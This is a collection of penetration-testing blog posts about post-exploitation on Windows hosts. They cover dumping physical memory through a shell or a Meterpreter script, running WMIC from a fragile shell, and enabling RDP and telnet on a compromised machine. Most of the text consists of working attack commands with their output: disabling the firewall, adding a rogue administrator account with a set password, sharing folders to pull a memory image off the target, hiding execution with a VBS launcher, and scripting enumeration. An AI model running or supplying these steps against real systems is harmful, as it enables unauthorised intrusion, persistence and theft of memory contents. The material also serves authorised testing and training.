Dumping Memory thru Command Shell

Since in my last post I covered how to do this in meterpreter with the script I wrote, I decided to show how to do the same from command shell and you will see why I love Meterpreter and scripting Meterpreter so much!!

We start by downloading mdd in to our Backtrack4 machine.

root@bt:/pentest/windows-binaries# wget http://voxel.dl.sourceforge.net/sourceforge/mdd/mdd_1.3.exe        --2009-03-10 14:01:49--  http://voxel.dl.sourceforge.net/sourceforge/mdd/mdd_1.3.exe
Resolving voxel.dl.sourceforge.net... 72.26.194.82
Connecting to voxel.dl.sourceforge.net|72.26.194.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 95104 (93K) [application/octet-stream]
Saving to: `mdd_1.3.exe'
100%[=================================================================>] 95,104       175K/s   in 0.5s
2009-03-10 14:01:49 (175 KB/s) - `mdd_1.3.exe' saved [95104/95104]

We will be using exe2bat.exe that is available in the /pentest/windows-binaries/tools to be able to use this tool the executable has to be 64k or less do to the limitations of the windows debug command. When we check the size of the executable we can see that it is 93k of size.

root@bt:/pentest/windows-binaries# ls -lh mdd*
-rw-r--r-- 1 root root 93K 2009-01-27 12:48 mdd_1.3.exe

We can compress the executable with UPX so as to be able to meet the 64k requirement, in Backtrack4 it will have to be installed using apt-get.

root@bt:/pentest/windows-binaries# upx -2 -o mdd.exe mdd_1.3.exe
                       Ultimate Packer for eXecutables
  Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007
UPX 3.01        Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 31st 2007
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     95104 ->     55168   58.01%    win32/pe     mdd.exe
Packed 1 file.

As you can see the executable is know 55k in size. In Backtrack 4 we use wine to run the exe2bat.exe executable to convert the exe into a batch file that we can paste in shell that will use debug to generate our executable on the target host.

root@bt:/pentest/windows-binaries/tools# wine exe2bat.exe ../mdd.exe mdd.txt                               
Finished: ../mdd.exe > mdd.txt

We take the content of the mdd.txt and paste it into our command shell, you will see that you might get an error on the last line pasted, this is expected.

c:\Windows\System32>copy 1.dll ../mdd.exe
The syntax of the command is incorrect.

The problem was the case of the dll name (first time I have ever noticed that copy is case sensitive).

c:\Windows\System32>copy 1.dll ../mdd.exe
The syntax of the command is incorrect.
c:\Windows\System32>copy 1.DLL mdd.exe
        1 file(s) copied.
c:\Windows\System32>mdd
 -> mdd
 -> ManTech Physical Memory Dump Utility
    Copyright (C) 2008 ManTech Security & Mission Assurance
 -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
    This is free software, and you are welcome to redistribute it
    under certain conditions; use option `-c' for details.
 -> ERROR: must specify output filename; use -h for usage
c:\Windows\System32>

We can perform a check of the size of the physical memory on the target host with systeminfo this will give us an estimate of the image file that will be generated.

c:\Windows\System32>systeminfo | find /i "physical"
Total Physical Memory:     3,070 MB
Available Physical Memory: 859 MB

Now that mdd is on the target machine we can make an image of the memory, and dumping it locally.

c:\Windows\System32>mdd.exe -o memimg.dd
 -> mdd
 -> ManTech Physical Memory Dump Utility
    Copyright (C) 2008 ManTech Security & Mission Assurance
 -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
    This is free software, and you are welcome to redistribute it
    under certain conditions; use option `-c' for details.
 -> Dumping 3070.34 MB of physical memory to file 'memimg.dd'.
 773770 map operations succeeded (0.98)
 12236 map operations failed
 took 137 seconds to write
 MD5 is: 888b9663c5d760f36f5b948ed92bef23

Once the image has been made we can use several methods to transfer the image to our target machine, this may be by tfpt, scripting ftp, mounting a share from our machine that we configured with samba or we can even create a share of our own and connect to it.  I will demonstrate the task of creating a share since it might be the most useful when working in large teams against a single target host and most of the steps can be of use to others in different scenarios, we can share the folder and disable the local built in firewall to be able to gain access to the share.

c:\Windows\System32>net share img=c:\windows\system32
img was shared successfully.
c:\Windows\System32>netsh.exe firewall set opmode disable
Ok.

Before we create and account we can check the Account Security Policy settings so as to save time by not doing trial and error on password length while creating our account for access.

c:\Windows\System32>net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          455
Minimum password length:                              12
Length of password history maintained:                6
Lockout threshold:                                    10
Lockout duration (minutes):                           60
Lockout observation window (minutes):                 5
Computer role:                                        WORKSTATION
The command completed successfully.

Now that we know the password length we can create and account and add it to the local Administrators we will use this account to mount the share we created.

c:\Windows\System32>net user /add SUPPORT_3089 P@ssword0001
The command completed successfully.
c:\Windows\System32>net localgroup Administrators /add SUPPORT_3089
The command completed successfully.

Next we mount the share on our machine with the  smbmount command and the credential of the user we created.

root@bt:/pentest/windows-binaries/tools# smbmount //192.168.1.192/img /mnt/img -o user=SUPPORT_3089,pass=P@ssword0001

Now that we have mounted the share we can copy over the file, this will look for anyone looking like a normal file transfer. As you will can see the image size is of 3GB.

root@bt:/mnt/img# ls -lh memimg.dd
-rwxrwSrwx 1 root root 3.0G 2009-03-10 14:50 memimg.dd

Once we have copied over the image we must perform clean up of everything we did on the target host.

c:\Windows\System32>del memimg.dd
c:\Windows\System32>del mdd.exe
c:\Windows\System32>net share /del img
img was deleted successfully.
c:\Windows\System32>net user /del SUPPORT_3089
The command completed successfully.
c:\Windows\System32>netsh firewall set opmode enable
Ok.

I hope you have found this post of great use and please do share opinions and ideas.

Meterpreter Memory Dump Script

A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script.  This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of  your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory

cd /pentest/exploits/framework3/scripts/meterpreter/
wget http://www.darkoperator.com/memdump.rb

Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host.  Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:

meterpreter > run memdump -h
Memory Dumper Meterpreter Script
OPTIONS:
    -c        Check Memory Size on target. Image file will be of this size
    -d        Dump Memory do not download
    -h        Help menu.
    -t <opt>  Change the timeout default 5min. Specify timeout in seconds
meterpreter > 

The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:

meterpreter > run memdump -c
[*] Checking the memory size of the target machine ......
[*] The size of the image will be the same as the amount of Physical Memory
[*] Total Physical Memory:     383 MB
meterpreter > 

The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size.

To execute a full run with Download we execute the script in the following manner:

meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281
[*] Finished downloading memory image
[*] Deleting left over files...
[*] Memory image on target deleted
meterpreter > 

The script will perform the following:

• Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running.
• The name will be a random generated number for obfuscation.
• It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine.
• It will delete the mdd.exe on the target host.
• It will Download the image to the .msf3/logs/memdump/<target host ip><random number>
• Delete the memory image on the target host.

If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:

meterpreter > run memdump -d
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
meterpreter >

The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given.

Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script.

WarVOX

HD just released WarVox this week the most advanced wardialing tool I have ever seen, here is an excerpt of the introduction:

WarVOX is a suite of tools for exploring, classifying, and auditing telephone systems. Unlike normal wardialing tools, WarVOX works with the actual audio from each call and does not use a modem directly. This model allows WarVOX to find and classify a wide range of interesting lines, including modems, faxes, voice mail boxes, PBXs, loops, dial tones, IVRs, and forwarders. WarVOX provides the unique ability to classify all telephone lines in a given range, not just those connected to modems, allowing for a comprehensive audit of a telephone system.

WarVOX requires no telephony hardware and is massively scalable by leveraging Internet-based VoIP providers. A single instance of WarVOX on a residential broadband connection, with a typical VoIP account, can scan over 1,000 numbers per hour. The speed of WarVOX is limited only by downstream bandwidth and the limitations of the VoIP service. Using two providers with over 40 concurrent lines we have been able to scan entire 10,000 number prefixes within 3 hours.

The resulting call audio can be used to extract a list of modems that can be fed into a standard modem-based wardialing application for fingerprinting and banner collection. One of the great things about the WarVOX model is that once the data has been gathered, it is archived and available for re-analysis as new signatures, plugins, and tools are developed. The current release of WarVOX (1.0.0) is able to automatically detect modems, faxes, silence, voice mail boxes, dial tones, and voices.

It is written in Ruby and it is design to run in modern Linux distribution specifically in Ubuntu 8.10 and Backtrack 4. I will be testing the tool and looking at adding it to my pentesting tool kit.

Running WMIC in a Command Shell

WMIC is one of those Windows command that you just love do to it's flexibility but sadly when you have a shell you are not able to run it because it breaks the shell losing possible hours of work to achieve the shell and possibly by running the attack again one might bring down the target server. I found that the best way to run WMIC is with Metasploit Meterpreter by executing the command in the following way in Meterpreter:

e execute -H -f cmd.exe  -a "/c wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"

you must make sure that the command is ran as hidden with the "-H" option and that you do not use the "-i" and "-c" options since by using this options it will break the shell. To get the output of our commands we make sure that we use the "/append:" so we can collect the output of our commands in to a single text file that we can later open from within Meterpreter or download such file.

When not using Meterpreter and running from a simple command shell like from netcat I use to use in the past SC to create a service that would execute a script with all of my wmic commands or use schtasks or at to schedule the command and then collect the output but this proved to be very time consuming and prone to error. So I changed my approach and started using WSH scripting to execute wmic for me. It works in the following manner, I first create a vb script for executing my wmic commands, it can be even used to execute Powershell!!!

echo CreateObject("Wscript.Shell").Run Wscript.Arguments(0), 0, False > execcmd.vbs

the we can execute our wmic command in the following manner:

cscript //nologo execcmd.vbs "wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"

we can get the output by running:

type c:\windows\temp\34des34.txt

we can even script out entire enumeration by doing something like this:

echo wmic /append:c:\windows\temp\34des34.txt computersystem list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt useraccount list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt group list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt process list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt startup list full >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt rdtoggle list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt qfe >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,filesystem,name,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,name,freespace,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume get label,freespace,filesystem,capacity,driveletter >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,lastlogon >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,badpasswordcount >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt desktop get screensaversecure,screensavertimeout >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logon get authenticationpackage >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netclient get name >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netuse get name,username,connectiontype,localname >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt nteventlog get path,filename,writeable >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt os get name,servicepackmajorversion >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service get name,startmode,state,status >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt product get name,version >> c:\windows\temp\sdcx.cmd

once the script is generated we execute the script by running:

cscript //nologo execcmd.vbs "cmd /c c:\windows\temp\sdcx.cmd"

How to get Terminal from Shell in Windows

I will be focusing mainly on Windows XP and 2003 and beyond since both the Telnet Service and Remote Desktop Service are already present or can be installed without having to reboot the server.  If you are using the latest SVN version of Metasploit you can just run the following Meterpreter Scripts to enable the service on the target machine:

·         run getgui –e

·         run gettelnet –e

But what if you have shell, what do you do? Let’s start with enabling Remote Desktop on the target machine, first things first we want to know what version of windows is running the target machine if we do not know the version of the target we have gotten a shell on, this can be achieved by running:

·         ver

This will give you the version of Windows of the target machine and you can deduce the OS from this number:

·         5.0 is Windows 2000

·         5.1 is Windows XP

·         5.2 is Windows 2003

·         6.0 is Windows Vista and Windows 2008

·         6.1 is Windows 7

Know that we know the version of the OS we can check if RDP is already running by just running:

·         Netstat –na | find “3389”

If we do not see it running we check if the built in firewall is enabled on our target:

·         Netsh firewall show opmode

We must check in specific if operational mode is enabled, if it is the firewall is enabled and if exception mode is enabled that means we can punch holes in the firewall. Depending on the ROE (Rules of Engagement) we can modify the configuration of the firewall, this are some of the commands we may use:

·         netsh firewall set opmode mode=DISABLE (Turn off the Firewall)

·         netsh firewall set opmode exception=ENABLE (Turn on Exceptions)

·         netsh firewall set service type = remotedesktop mode = enable (Enable Remote Desktop port thru the Firewall)

·         netsh firewall set service type = remotedesktop mode = enable scope=CUSTOM 192.168.1.20 (Limit access to Remote Desktop port to only the IP specified)

Now that we have the firewall configure we can proceeded to enable the RDP service, we must first set a registry key:

·         reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" | find "fDenyTSConnections" (if value is 0x0 connections are allowed if 0x1 connection is disabled)

·         reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f (Enable RDP Connections)

Once this is set we can proceed by starting the Terminal Services Service, from shell this is achieved with the “SC” command, great care should be taken not to run sc by itself or with the “/?” switch since this will break the shell. The commands to enable the Terminal Services service are:

·         sc config termservice start= auto (This will set the service to auto start)

·         sc start termservice (This command will start the service)

If we want to create a user from shell and give him RDP access we can run the following commands to achieve this if we have the necessary privileges to create the user:

·         net user /add (Adds a user)

·         net net localgroup "Remote Desktop Users" /add" (Adds user to Remote Desktop Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Now we can connect to the target machine if we have access to port 3389.  

Getting telnet on a windows host is easier than with RDP, in Windows XP and Windows 2003 it is already installed and disabled, in the case of Windows Vista and Windows 2008 it is not installed by default but the files for installing it are already on the file system. Just like with RDP we can check if the service is installed by running the following command:

·         sc query TlntSvr

If the service is running will see that the State will be running, if it is not installed like in the case of Windows Vista and 2008 we will get an error message that the service does not exists. In the case of Windows Vista and 2008 to install the service we just need to run the following commands:

·         pkgmgr /iu:"TelnetServer" (Installs Telnet Server)

·         pkgmgr /iu:"TelnetClient" (Installs Telnet Client)

Once we have the service installed we can start the service by running the following commands:

·         sc config TlntSvr start= auto (This will set the service to auto start)

·         sc start TlntSvr (This command will start the service)

To open the port in the Windows Firewall in case it is enabled we just run the following command:

·         netsh firewall set portopening protocol = tcp port = 23 mode = enable'

Users that will connect via telnet must be part of the TelnetClients local group, to create an account and add such account to this group the following commands can be ran from shell:

·         net user /add (Adds a user)

·         net net localgroup TelnetClients   /add" (Adds user to TelnetClients Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Once this is all done if we have access to port 23 we can connect to the target server. One important note Telnet is clear text and great care should be taken from where we are connecting to the target machine since we might introduce risk in to the client environment. Another special note is to document all commands ran on the target machine for clean up after the engagement. The best way I have found to execute this commands is to have them in a text file on my attacking machine modify the command inside a text editor and copy and paste them in to the shell window.